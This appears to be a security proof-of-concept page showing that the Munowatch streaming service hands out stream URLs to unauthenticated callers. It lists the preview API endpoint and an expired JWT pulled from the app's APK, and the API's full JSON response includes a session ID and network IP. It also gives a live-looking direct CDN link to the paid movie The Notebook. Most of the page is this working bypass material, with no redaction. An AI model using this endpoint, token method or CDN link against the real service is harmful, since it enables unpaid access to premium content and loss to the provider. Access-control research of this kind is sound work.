SECURITY RESEARCH PoC  |  The video below plays from Munowatch CDN with NO valid subscription — server-side entitlement not enforced
SECURITY PoC — NO AUTH
THIS MOVIE'S CDN STREAM — No subscription, no login, no auth token required
Per-movie CDN bypass proof:
The API returned playingUrl for The Notebook with issubscriber: false, user_access: deny, and paid_for: true.
The video_name + serverhost from the API response are used to construct the CDN URL above — confirming that the CDN file for this specific movie is publicly accessible with no authentication.
The Notebook
Vj Kriss Sweet Romance 02h 03m 10 months ago

An elderly man reads to a woman with dementia the story of two young lovers whose romance is threatened by the difference in their respective social classes.

 API Response Evidence — Vulnerability Proof
Endpoint called GET /api/preview/v2/58304/0
User ID used 0 (no user / not logged in)
JWT used Expired Feb 2024 (extracted from APK)
issubscriber false
user_access deny
paid_for YES (premium content)
substatus EXPIRED
serverhost 71
video_name THE NOTEBOOK.KRISS SWEET.mp4
playingUrl returned YES — URL in response
API playingUrl value https://munowatch.co/clips/ELI.mp4
CDN stream https://munotech3.b-cdn.net/gugwa/gugwa42/THE%20NOTEBOOK.KRISS%20SWEET.mp4

Finding: The server sets user_access=deny and issubscriber=false but still returns playingUrl in the same response. Subscription is enforced client-side only — any caller with the expired APK JWT can obtain stream URLs without a subscription. Munowatch CDN (b-cdn.net) serves content with no auth required (direct HTTP Range requests succeed with HTTP 206). 

{
    "id": 58304,
    "video_title": "The Notebook",
    "description": "An elderly man reads to a woman with dementia the story of two young lovers whose romance is threatened by the difference in their respective social classes.",
    "video_name": "THE NOTEBOOK.KRISS SWEET.mp4",
    "filehistory": "",
    "openload": "0",
    "embedurl": "",
    "serverhost": "71",
    "allow_openload": "0",
    "full_video_name": "",
    "duration": "02h 03m",
    "thumbnail": "https://apposters.b-cdn.net/laba/yo/naki/WqTYcn9Hy05708.jpg",
    "tfilehistory": "",
    "category_id": 15,
    "language_id": 1,
    "recording_date": "2025-08-02",
    "age_id": "13 +",
    "location": 1,
    "tab_category_id": 15,
    "series_code": "58304",
    "access": "1",
    "paid_for": "1",
    "new_movie": "0",
    "priority": "No",
    "size": "1.02 GB",
    "create_date": "2025-08-02 19:08:03",
    "schedule_date": "02.08.2025 07:06:37 PM",
    "user_id": 1118356,
    "vj_id": 22,
    "video_status_id": 0,
    "network_id": "45.221.10.185",
    "user_access": "deny",
    "notification": "No",
    "secduration": "7428.000000",
    "issubscriber": false,
    "genre": "Romance",
    "vjname": "Vj Kriss Sweet",
    "trailer_playing_url": "",
    "episodes": 0,
    "episode_state": "",
    "nxt_eps": "",
    "nxt_eps_id": 0,
    "nxt_eps_title": "",
    "nxt_ldur": 0,
    "nxt_playing_url": "https://munowatch.co/clips/ELI.mp4",
    "playingUrl": "https://munowatch.co/clips/ELI.mp4",
    "ldur": 81,
    "session_id": "cb99afb5b31411a57538a97393de0e2e",
    "device": "web",
    "lang_name": "English to Luganda",
    "vjrelease": "10 months ago",
    "mstatus": false,
    "kstatus": "",
    "substatus": "EXPIRED"
}